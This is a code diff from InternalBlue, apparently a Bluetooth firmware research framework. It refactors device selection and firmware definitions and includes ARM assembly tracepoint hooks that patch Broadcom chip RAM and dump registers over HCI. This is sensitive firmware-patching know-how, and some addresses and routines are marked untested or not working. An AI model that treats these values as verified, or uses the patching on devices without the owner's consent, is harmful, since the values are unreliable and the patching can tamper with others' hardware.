connection_methods = [
|
||||
ADBCore(log_level=log_level, data_directory=data_directory, serial=args.serialsu),
|
||||
HCICore(log_level=log_level, data_directory=data_directory)]
|
||||
# if /var/run/usbmuxd exists, we can check for iOS devices
|
||||
if os.path.exists("/var/run/usbmuxd"):
|
||||
from .ioscore import iOSCore
|
||||
connection_methods.append(iOSCore(log_level=log_level, data_directory=data_directory))
|
||||
|
||||
devices = [] # type: List[DeviceTuple]
|
||||
if platform == "darwin":
|
||||
try:
|
||||
from .macoscore import macOSCore
|
||||
connection_methods.append(macOSCore(log_level=log_level, data_directory=data_directory, replay=(args.replay and args.device == "mac")))
|
||||
except ImportError:
|
||||
pwnlib.log.warn("Couldn't import macOSCore. Is IOBluetoothExtended.framework installed?")
|
||||
if args.trace:
|
||||
hook(macOSCore, HookClass)
|
||||
elif args.save:
|
||||
hook(macOSCore, TraceToFileHook, filename=args.save)
|
||||
else:
|
||||
connection_methods.append(HCICore(log_level=log_level, data_directory=data_directory))
|
||||
|
||||
# ADB core can always be used
|
||||
connection_methods.append(
|
||||
ADBCore(
|
||||
log_level=log_level, data_directory=data_directory, serial=args.serialsu
|
||||
))
|
||||
|
||||
devices = [] # type: List[DeviceTuple]
|
||||
for connection_method in connection_methods:
|
||||
devices.extend(connection_method.device_list())
|
||||
|
||||
|
||||
device = None # type: Optional[DeviceTuple]
|
||||
device = None # type: Optional[DeviceTuple]
|
||||
if len(devices) > 0:
|
||||
if args.replay:
|
||||
# There should only be one device that was created when --replay was passed
|
||||
device = devices[0]
|
||||
elif args.device:
|
||||
matching_devices = [ dev for dev in devices if dev[1] == args.device]
|
||||
matching_devices = [dev for dev in devices if dev[1] == args.device]
|
||||
if len(matching_devices) > 1:
|
||||
log.critical("Found multiple matching devices")
|
||||
pwnlib.log.critical("Found multiple matching devices")
|
||||
exit(-1)
|
||||
elif len(matching_devices) == 1:
|
||||
log.info("Found device is: {}".format(matching_devices[0]))
|
||||
pwnlib.log.info("Found device is: {}".format(matching_devices[0]))
|
||||
device = matching_devices[0]
|
||||
else:
|
||||
log.critical("No matching devices found")
|
||||
pwnlib.log.critical("No matching devices found")
|
||||
exit(-1)
|
||||
elif len(devices) == 1:
|
||||
device = devices[0]
|
||||
else:
|
||||
i = options('Please specify device:', [d[2] for d in devices], 0)
|
||||
i = pwnlib.options("Please specify device:", [d[2] for d in devices], 0)
|
||||
device = devices[i]
|
||||
|
||||
# Setup device
|
||||
@@ -238,16 +295,16 @@ def internalblue_cli(argv, args=None):
|
||||
|
||||
# Restore readline history:
|
||||
if os.path.exists(reference.data_directory + "/" + HISTFILE):
|
||||
readline_history = read(reference.data_directory + "/" + HISTFILE)
|
||||
term.readline.history = readline_history.split(b'\n')
|
||||
readline_history = pwnlib.read(reference.data_directory + "/" + HISTFILE)
|
||||
pwnlib.term.readline.history = readline_history.split(b"\n")
|
||||
|
||||
# Connect to device
|
||||
if not reference.connect():
|
||||
log.critical("No connection to target device.")
|
||||
pwnlib.log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
# Enter command loop (runs until user quits)
|
||||
log.info("Starting commandLoop for reference {}".format(reference))
|
||||
pwnlib.log.info("Starting commandLoop for reference {}".format(reference))
|
||||
commandLoop(reference, init_commands=args.commands)
|
||||
|
||||
# shutdown connection
|
||||
@@ -260,9 +317,8 @@ def internalblue_cli(argv, args=None):
|
||||
# f.close()
|
||||
|
||||
# Cleanup
|
||||
log.info("Goodbye")
|
||||
pwnlib.log.info("Goodbye")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
internalblue_cli(sys.argv[1:])
|
||||
|
||||
|
||||
+1034
-573
File diff suppressed because it is too large
Load Diff
+796
-305
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1 @@
|
||||
from .fw import FirmwareDefinition
|
||||
|
||||
+107
-19
@@ -1,4 +1,4 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python
|
||||
|
||||
# fw.py
|
||||
#
|
||||
@@ -25,10 +25,85 @@
|
||||
|
||||
from builtins import hex
|
||||
from builtins import object
|
||||
from types import ModuleType
|
||||
from typing import List
|
||||
|
||||
|
||||
from internalblue import Address
|
||||
from pwn import log
|
||||
|
||||
|
||||
class MemorySection(object):
|
||||
"""
|
||||
All firmwares have memory sections that can be RAM, ROM or neither of both.
|
||||
"""
|
||||
|
||||
def __init__(self, start_addr, end_addr, is_rom, is_ram):
|
||||
self.start_addr: Address = start_addr
|
||||
self.end_addr: Address = end_addr
|
||||
self.is_rom: bool = is_rom
|
||||
self.is_ram: bool = is_ram
|
||||
|
||||
def size(self) -> int:
|
||||
return self.end_addr - self.start_addr
|
||||
|
||||
|
||||
class FirmwareDefinition:
|
||||
|
||||
DEVICE_NAME: Address
|
||||
|
||||
BD_ADDR: Address
|
||||
|
||||
SECTIONS: List[MemorySection]
|
||||
TRACEPOINT_BODY_ASM_SNIPPET: str
|
||||
TRACEPOINT_HOOKS_LOCATION: int
|
||||
TRACEPOINT_RAM_DUMP_PKT_COUNT = None
|
||||
|
||||
CONNECTION_STRUCT_LENGTH: int
|
||||
|
||||
FW_NAME: str
|
||||
|
||||
QUEUE_NAMES: List[str]
|
||||
QUEUE_HEAD: Address
|
||||
BLOC_HEAD: Address
|
||||
SENDLCP_CODE_BASE_ADDRESS: Address
|
||||
|
||||
SENDLCP_ASM_CODE: str
|
||||
|
||||
SENDLMP_CODE_BASE_ADDRESS: Address
|
||||
SENDLMP_ASM_CODE: str
|
||||
|
||||
FUZZLMP_HOOK_ADDRESS: Address
|
||||
FUZZLMP_CODE_BASE_ADDRESS: Address
|
||||
FUZZLMP_ASM_CODE: str
|
||||
|
||||
CONNECTION_LIST_ADDRESS: Address
|
||||
CONNECTION_ARRAY_ADDRESS: Address
|
||||
CONNECTION_MAX: int
|
||||
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS: Address
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS: Address
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS: Address
|
||||
PATCHRAM_ALIGNED: bool
|
||||
PATCHRAM_NUMBER_OF_SLOTS: int
|
||||
|
||||
LAUNCH_RAM_PAUSE = None
|
||||
LAUNCH_RAM = Address
|
||||
HCI_EVENT_COMPLETE = Address
|
||||
|
||||
READ_MEM_ALIGNED_ASM_LOCATION: Address
|
||||
READ_MEM_ALIGNED_ASM_SNIPPET: str
|
||||
|
||||
TRACEPOINT_HOOK_SIZE = None
|
||||
TRACEPOINT_BODY_ASM_LOCATION: Address
|
||||
TRACEPOINT_HOOK_ASM = None
|
||||
|
||||
ENHANCED_ADV_REPORT_ADDRESS: Address
|
||||
|
||||
|
||||
class Firmware(object):
|
||||
firmware: FirmwareDefinition
|
||||
|
||||
def __init__(self, version=None, iOS=False):
|
||||
"""
|
||||
Load and initialize the actual firmware add-ons for Nexus 5, Raspi3, etc.
|
||||
@@ -37,40 +112,53 @@ class Firmware(object):
|
||||
"""
|
||||
|
||||
self.version = version
|
||||
self.firmware = None
|
||||
|
||||
if version:
|
||||
# get LMP Subversion
|
||||
log.info("Chip identifier: 0x%04x (%03d.%03d.%03d)" %
|
||||
(version, version >> 13, (version & 0xf00) >> 8, version & 0xff))
|
||||
log.info(
|
||||
"Chip identifier: 0x%04x (%03d.%03d.%03d)"
|
||||
% (version, version >> 13, (version & 0xF00) >> 8, version & 0xFF)
|
||||
)
|
||||
|
||||
try:
|
||||
# Fix for duplicate version number of evaluation board / iPhones
|
||||
if iOS and version==0x420e:
|
||||
self.firmware = __import__(__name__ + '_' + hex(version) + '_iphone', fromlist=[''])
|
||||
if iOS and version == 0x420E:
|
||||
self.firmware = self._module_to_firmware_definition(
|
||||
__import__(
|
||||
__name__ + "_" + hex(version) + "_iphone", fromlist=[""]
|
||||
)
|
||||
)
|
||||
log.info("Using fw_" + hex(version) + "_iphone.py")
|
||||
else:
|
||||
self.firmware = __import__(__name__ + '_' + hex(version), fromlist=[''])
|
||||
self.firmware = self._module_to_firmware_definition(
|
||||
__import__(__name__ + "_" + hex(version), fromlist=[""])
|
||||
)
|
||||
log.info("Using fw_" + hex(version) + ".py")
|
||||
except ImportError:
|
||||
self.firmware = None
|
||||
pass
|
||||
|
||||
if not version or not self.firmware:
|
||||
self.firmware = __import__(__name__ + '_default', fromlist=[''])
|
||||
self.firmware = self._module_to_firmware_definition(
|
||||
__import__(__name__ + "_default", fromlist=[""])
|
||||
)
|
||||
|
||||
log.info("Loaded firmware information for " + self.firmware.FW_NAME + ".")
|
||||
|
||||
def _module_to_firmware_definition(self, fw: ModuleType) -> FirmwareDefinition:
|
||||
"""
|
||||
Wrap existing usages where the module was used and extract the new FirmwareDefinition class
|
||||
|
||||
class MemorySection(object):
|
||||
"""
|
||||
All firmwares have memory sections that can be RAM, ROM or neither of both.
|
||||
"""
|
||||
def __init__(self, start_addr, end_addr, is_rom, is_ram):
|
||||
self.start_addr = start_addr
|
||||
self.end_addr = end_addr
|
||||
self.is_rom = is_rom
|
||||
self.is_ram = is_ram
|
||||
:param fw:
|
||||
:return:
|
||||
"""
|
||||
_types = {
|
||||
name: cls
|
||||
for name, cls in fw.__dict__.items()
|
||||
if isinstance(cls, type)
|
||||
and issubclass(cls, FirmwareDefinition)
|
||||
and not cls is FirmwareDefinition
|
||||
}
|
||||
|
||||
def size(self):
|
||||
return self.end_addr - self.start_addr
|
||||
if len(_types) == 1:
|
||||
return list(_types.values())[0]
|
||||
|
||||
+137
-129
@@ -1,9 +1,8 @@
|
||||
from __future__ import absolute_import
|
||||
# fw_0x420e.py
|
||||
#!/usr/bin/env python
|
||||
|
||||
# fw_0x1111.py
|
||||
#
|
||||
# Generic firmware file in case we do not know something...
|
||||
#
|
||||
# Copyright (c) 2019 Jiska Classen. (MIT License)
|
||||
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
# this software and associated documentation files (the "Software"), to deal in
|
||||
@@ -21,138 +20,147 @@ from __future__ import absolute_import
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from .fw import MemorySection
|
||||
|
||||
# Firmware Infos
|
||||
# Samsung S10/S10e/S10+
|
||||
FW_NAME = "BCM4375B1"
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
from .. import Address
|
||||
|
||||
|
||||
# Device Infos
|
||||
DEVICE_NAME = 0x207f2a
|
||||
BD_ADDR = 0x2026e2
|
||||
class BCM4375B1(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# Samsung S10/S10e/S10+/S20
|
||||
FW_NAME = "BCM4375B1"
|
||||
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [ MemorySection(0x00000000, 0x0013ffff, True, False), # Internal ROM
|
||||
MemorySection(0x00160000, 0x0017ffff, False, True), # Patches
|
||||
MemorySection(0x00200000, 0x00288000, False, True), # Internal Memory Cortex M3
|
||||
MemorySection(0x00300000, 0x0037ffff, False, True),
|
||||
]
|
||||
# Device Infos
|
||||
DEVICE_NAME = 0x207F2A
|
||||
BD_ADDR = 0x2026E2
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0x160000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 256
|
||||
PATCHRAM_ALIGNED = False
|
||||
|
||||
BLOC_HEAD = 0x20075c
|
||||
BLOC_NG = True
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x0013FFFF, True, False), # Internal ROM
|
||||
MemorySection(0x00160000, 0x0017FFFF, False, True), # Patches
|
||||
MemorySection(0x00200000, 0x00288000, False, True), # Internal Memory Cortex M3
|
||||
MemorySection(0x00300000, 0x0037FFFF, False, True),
|
||||
]
|
||||
|
||||
# Assembler snippet for tracepoints
|
||||
# In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions
|
||||
# TODO S10e does no longer have a patch uninstall function... writemem works to remove patches, but copying
|
||||
# Assembly of the original function from an eval board does not work...
|
||||
#TRACEPOINT_BODY_ASM_LOCATION = 0x00218300
|
||||
#TRACEPOINT_HOOKS_LOCATION = 0x00218500
|
||||
#TRACEPOINT_HOOK_SIZE = 40
|
||||
TRACEPOINT_HOOK_ASM = """
|
||||
push {r0-r12, lr} // save all registers on the stack (except sp and pc)
|
||||
ldr r6, =0x%x // addTracepoint() injects pc of original tracepoint here
|
||||
mov r9, %d // addTracepoint() injects the patchram slot of the hook patch
|
||||
bl 0x%x // addTracepoint() injects TRACEPOINT_BODY_ASM_LOCATION here
|
||||
pop {r0-r12, lr} // restore registers
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0x160000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 256
|
||||
PATCHRAM_ALIGNED = False
|
||||
|
||||
// branch back to the original instruction
|
||||
b 0x%x // addTracepoint() injects the address of the tracepoint
|
||||
"""
|
||||
BLOC_HEAD = 0x20075C
|
||||
BLOC_NG = True
|
||||
|
||||
TRACEPOINT_BODY_ASM_SNIPPET = """
|
||||
# Enable enhanced advertisement reports (bEnhancedAdvReport)
|
||||
# tested but by default the S10 only uses the LE Extended format, which is different...
|
||||
ENHANCED_ADV_REPORT_ADDRESS = Address(0x20D176)
|
||||
|
||||
mov r8, lr // save link register in r8
|
||||
|
||||
b delete_slot
|
||||
# Assembler snippet for tracepoints
|
||||
# In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions
|
||||
# TODO S10e does no longer have a patch uninstall function... writemem works to remove patches, but copying
|
||||
# Assembly of the original function from an eval board does not work...
|
||||
# TRACEPOINT_BODY_ASM_LOCATION = 0x00218300
|
||||
# TRACEPOINT_HOOKS_LOCATION = 0x00218500
|
||||
# TRACEPOINT_HOOK_SIZE = 40
|
||||
TRACEPOINT_HOOK_ASM = """
|
||||
push {r0-r12, lr} // save all registers on the stack (except sp and pc)
|
||||
ldr r6, =0x%x // addTracepoint() injects pc of original tracepoint here
|
||||
mov r9, %d // addTracepoint() injects the patchram slot of the hook patch
|
||||
bl 0x%x // addTracepoint() injects TRACEPOINT_BODY_ASM_LOCATION here
|
||||
pop {r0-r12, lr} // restore registers
|
||||
|
||||
// branch back to the original instruction
|
||||
b 0x%x // addTracepoint() injects the address of the tracepoint
|
||||
"""
|
||||
|
||||
// dump registers like before
|
||||
|
||||
// save status register in r5
|
||||
mrs r5, cpsr
|
||||
|
||||
// malloc HCI event buffer
|
||||
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
|
||||
mov r1, 76 // buffer size: size of registers (68 bytes) + type and length + 'TRACE_'
|
||||
bl 0x6cfe2 // hci_allocateEventBlockWithLen(0xff, 78) #DONE
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append our custom header (the word 'TRACE_') after the event code and event length field
|
||||
add r0, 2 // write after the length field
|
||||
ldr r1, =0x43415254 // 'TRAC'
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
ldr r1, =0x5f45 // 'E_'
|
||||
strh r1, [r0]
|
||||
add r0, 2 // advance the pointer. r0 now points to the start of the register values
|
||||
|
||||
// store pc
|
||||
str r6, [r0] // r6 still contains the address of the original pc
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store sp
|
||||
mov r1, 56 // 14 saved registers * 4
|
||||
add r1, sp
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store status register
|
||||
str r5, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store other registers
|
||||
mov r1, sp
|
||||
mov r2, 56
|
||||
bl 0x2774 // memcpy(dst, src, len) #DONE
|
||||
|
||||
// send HCI buffer to the host
|
||||
mov r0, r4 // r4 still points to the beginning of the HCI buffer
|
||||
bl 0x6cfa8 // hci_sendEvent #DONE
|
||||
|
||||
// restore status register
|
||||
msr cpsr_f, r5
|
||||
|
||||
bl 0x6af24 // bthci_event_vs_DBFW_CoreDumpRAMImageEvent #DONE
|
||||
|
||||
// not possible... could not find patch_uninstallPatchEntry(slot)
|
||||
// -> disable TP by hand, we stored in r9
|
||||
// TODO - does not work??
|
||||
delete_slot:
|
||||
mov r0, #0
|
||||
mov r1, r0
|
||||
lsl r0, r0, #0x2
|
||||
ldr r3, =0x00310404
|
||||
sub.w r0, r0, #0x400
|
||||
add r3, #0x3c
|
||||
add r0, r3
|
||||
movw r2, #0xffff
|
||||
str r2, [r0, #0x0]
|
||||
ldr r0,=0x00310404
|
||||
add r0, #0x2c
|
||||
ldr r2, [r0,#0x0]
|
||||
mov r3, #0x1
|
||||
lsl r3, r1
|
||||
bic r2, r3
|
||||
str r2, [r0, #0x0]
|
||||
|
||||
|
||||
mov lr, r8 // restore lr from r8
|
||||
bx lr // return
|
||||
|
||||
.align
|
||||
patchram:
|
||||
.byte 0x04
|
||||
.byte 0x04
|
||||
.byte 0x31
|
||||
.byte 0x00
|
||||
|
||||
"""
|
||||
TRACEPOINT_BODY_ASM_SNIPPET = """
|
||||
|
||||
mov r8, lr // save link register in r8
|
||||
|
||||
b delete_slot
|
||||
|
||||
// dump registers like before
|
||||
|
||||
// save status register in r5
|
||||
mrs r5, cpsr
|
||||
|
||||
// malloc HCI event buffer
|
||||
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
|
||||
mov r1, 76 // buffer size: size of registers (68 bytes) + type and length + 'TRACE_'
|
||||
bl 0x6cfe2 // hci_allocateEventBlockWithLen(0xff, 78) #DONE
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append our custom header (the word 'TRACE_') after the event code and event length field
|
||||
add r0, 2 // write after the length field
|
||||
ldr r1, =0x43415254 // 'TRAC'
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
ldr r1, =0x5f45 // 'E_'
|
||||
strh r1, [r0]
|
||||
add r0, 2 // advance the pointer. r0 now points to the start of the register values
|
||||
|
||||
// store pc
|
||||
str r6, [r0] // r6 still contains the address of the original pc
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store sp
|
||||
mov r1, 56 // 14 saved registers * 4
|
||||
add r1, sp
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store status register
|
||||
str r5, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store other registers
|
||||
mov r1, sp
|
||||
mov r2, 56
|
||||
bl 0x2774 // memcpy(dst, src, len) #DONE
|
||||
|
||||
// send HCI buffer to the host
|
||||
mov r0, r4 // r4 still points to the beginning of the HCI buffer
|
||||
bl 0x6cfa8 // hci_sendEvent #DONE
|
||||
|
||||
// restore status register
|
||||
msr cpsr_f, r5
|
||||
|
||||
bl 0x6af24 // bthci_event_vs_DBFW_CoreDumpRAMImageEvent #DONE
|
||||
|
||||
// not possible... could not find patch_uninstallPatchEntry(slot)
|
||||
// -> disable TP by hand, we stored in r9
|
||||
// TODO - does not work??
|
||||
delete_slot:
|
||||
mov r0, #0
|
||||
mov r1, r0
|
||||
lsl r0, r0, #0x2
|
||||
ldr r3, =0x00310404
|
||||
sub.w r0, r0, #0x400
|
||||
add r3, #0x3c
|
||||
add r0, r3
|
||||
movw r2, #0xffff
|
||||
str r2, [r0, #0x0]
|
||||
ldr r0,=0x00310404
|
||||
add r0, #0x2c
|
||||
ldr r2, [r0,#0x0]
|
||||
mov r3, #0x1
|
||||
lsl r3, r1
|
||||
bic r2, r3
|
||||
str r2, [r0, #0x0]
|
||||
|
||||
|
||||
mov lr, r8 // restore lr from r8
|
||||
bx lr // return
|
||||
|
||||
.align
|
||||
patchram:
|
||||
.byte 0x04
|
||||
.byte 0x04
|
||||
.byte 0x31
|
||||
.byte 0x00
|
||||
|
||||
"""
|
||||
|
||||
Executable
+49
@@ -0,0 +1,49 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
# fw_0x2033.py
|
||||
#
|
||||
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
# this software and associated documentation files (the "Software"), to deal in
|
||||
# the Software without restriction, including without limitation the rights to
|
||||
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
|
||||
# the Software, and to permit persons to whom the Software is furnished to do so,
|
||||
# subject to the following conditions:
|
||||
# - The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
# - The Software is provided "as is", without warranty of any kind, express or
|
||||
# implied, including but not limited to the warranties of merchantability,
|
||||
# fitness for a particular purpose and noninfringement. In no event shall the
|
||||
# authors or copyright holders be liable for any claim, damages or other
|
||||
# liability, whether in an action of contract, tort or otherwise, arising from,
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
from .. import Address
|
||||
|
||||
|
||||
class BCM4377B3(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# MacBook Late 2019, MacBook Air 2020, PCIe variant
|
||||
FW_NAME = "BCM4377B3"
|
||||
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x0013FFFF, True, False), # Internal ROM
|
||||
MemorySection(0x00160000, 0x0017FFFF, False, True), # Patches
|
||||
MemorySection(0x00200000, 0x00288000, False, True), # Internal Memory Cortex M3
|
||||
MemorySection(0x00300000, 0x00307FFF, False, True),
|
||||
]
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0x160000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 256 # 154/256 used on Catalina 10.15.1
|
||||
PATCHRAM_ALIGNED = False
|
||||
|
||||
Executable
+52
@@ -0,0 +1,52 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
# fw_0x2033.py
|
||||
#
|
||||
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
# this software and associated documentation files (the "Software"), to deal in
|
||||
# the Software without restriction, including without limitation the rights to
|
||||
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
|
||||
# the Software, and to permit persons to whom the Software is furnished to do so,
|
||||
# subject to the following conditions:
|
||||
# - The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
# - The Software is provided "as is", without warranty of any kind, express or
|
||||
# implied, including but not limited to the warranties of merchantability,
|
||||
# fitness for a particular purpose and noninfringement. In no event shall the
|
||||
# authors or copyright holders be liable for any claim, damages or other
|
||||
# liability, whether in an action of contract, tort or otherwise, arising from,
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
from .. import Address
|
||||
|
||||
|
||||
class BCM4377B3(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# MacBook Late 2019, MacBook Air 2020, PCIe variant
|
||||
FW_NAME = "BCM4377B3"
|
||||
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x0013FFFF, True, False), # Internal ROM
|
||||
MemorySection(0x00160000, 0x0017FFFF, False, True), # Patches
|
||||
MemorySection(0x00200000, 0x00288000, False, True), # Internal Memory Cortex M3
|
||||
MemorySection(0x00300000, 0x00307FFF, False, True),
|
||||
]
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0x160000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 256 # 154/256 used on Catalina 10.15.1
|
||||
PATCHRAM_ALIGNED = False
|
||||
|
||||
# Enable enhanced advertisement reports (bEnhancedAdvReport)
|
||||
ENHANCED_ADV_REPORT_ADDRESS = Address(0x20ffae) # this is the field but packetlogger also shows more info that it cannot decode then
|
||||
|
||||
@@ -0,0 +1,54 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
# fw_0x2056.py
|
||||
#
|
||||
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
# this software and associated documentation files (the "Software"), to deal in
|
||||
# the Software without restriction, including without limitation the rights to
|
||||
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
|
||||
# the Software, and to permit persons to whom the Software is furnished to do so,
|
||||
# subject to the following conditions:
|
||||
# - The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
# - The Software is provided "as is", without warranty of any kind, express or
|
||||
# implied, including but not limited to the warranties of merchantability,
|
||||
# fitness for a particular purpose and noninfringement. In no event shall the
|
||||
# authors or copyright holders be liable for any claim, damages or other
|
||||
# liability, whether in an action of contract, tort or otherwise, arising from,
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
from .. import Address
|
||||
|
||||
|
||||
class BCM4364B0(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# Various MacBooks/iMacs ranging from 2016 to 2019.
|
||||
# Note that with each OS update the LMP version changes on macOS, so you might
|
||||
# need to rename the file to the LMP minor version you see in your macOS hardware
|
||||
# report. It was 0x2056 in April 2020.
|
||||
FW_NAME = "BCM4364B0"
|
||||
|
||||
# Memory Sections - untested!
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x0013FFFF, True, False), # Internal ROM
|
||||
MemorySection(0x00160000, 0x0017FFFF, False, True), # Patches
|
||||
MemorySection(0x00200000, 0x00288000, False, True), # Internal Memory Cortex M3
|
||||
MemorySection(0x00300000, 0x0037FFFF, False, True),
|
||||
]
|
||||
|
||||
# Patchram - untested!
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0x160000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 256
|
||||
PATCHRAM_ALIGNED = False
|
||||
|
||||
# Enable enhanced advertisement reports (bEnhancedAdvReport)
|
||||
ENHANCED_ADV_REPORT_ADDRESS = Address(0x203154)
|
||||
|
||||
Executable
+44
@@ -0,0 +1,44 @@
|
||||
# fw_default.py
|
||||
#
|
||||
# Generic firmware file in case we do not know something...
|
||||
#
|
||||
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
# this software and associated documentation files (the "Software"), to deal in
|
||||
# the Software without restriction, including without limitation the rights to
|
||||
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
|
||||
# the Software, and to permit persons to whom the Software is furnished to do so,
|
||||
# subject to the following conditions:
|
||||
# - The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
# - The Software is provided "as is", without warranty of any kind, express or
|
||||
# implied, including but not limited to the warranties of merchantability,
|
||||
# fitness for a particular purpose and noninfringement. In no event shall the
|
||||
# authors or copyright holders be liable for any claim, damages or other
|
||||
# liability, whether in an action of contract, tort or otherwise, arising from,
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
from .. import Address
|
||||
|
||||
|
||||
class BCM20703A1(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# MacBook Pro early 2015 15" Retina
|
||||
# macOS changes the LMP version with security fixes
|
||||
# 10.15.4 has 0x21a9 but older patches go down to 0x21a1
|
||||
FW_NAME = "BCM20703A1"
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x000C7FFF, True, False), # Internal ROM
|
||||
MemorySection(0x000D0000, 0x000EFFFF, False, True), # Patchram
|
||||
MemorySection(0x00200000, 0x00247FFF, False, True), # Internal Memory Cortex M3
|
||||
]
|
||||
|
||||
# Patchram
|
||||
# needs aligned access on this firmware, so it doesn't work
|
||||
Executable
+38
@@ -0,0 +1,38 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# fw_0x21d0.py
|
||||
#
|
||||
# Firmware file for BCM2046 chipsets. These chipsets are typically used for
|
||||
# in older MacBooks and iMacs.
|
||||
#
|
||||
# Copyright (c) 2020 Jiska Classen. (MIT License)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
# this software and associated documentation files (the "Software"), to deal in
|
||||
# the Software without restriction, including without limitation the rights to
|
||||
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
|
||||
# the Software, and to permit persons to whom the Software is furnished to do so,
|
||||
# subject to the following conditions:
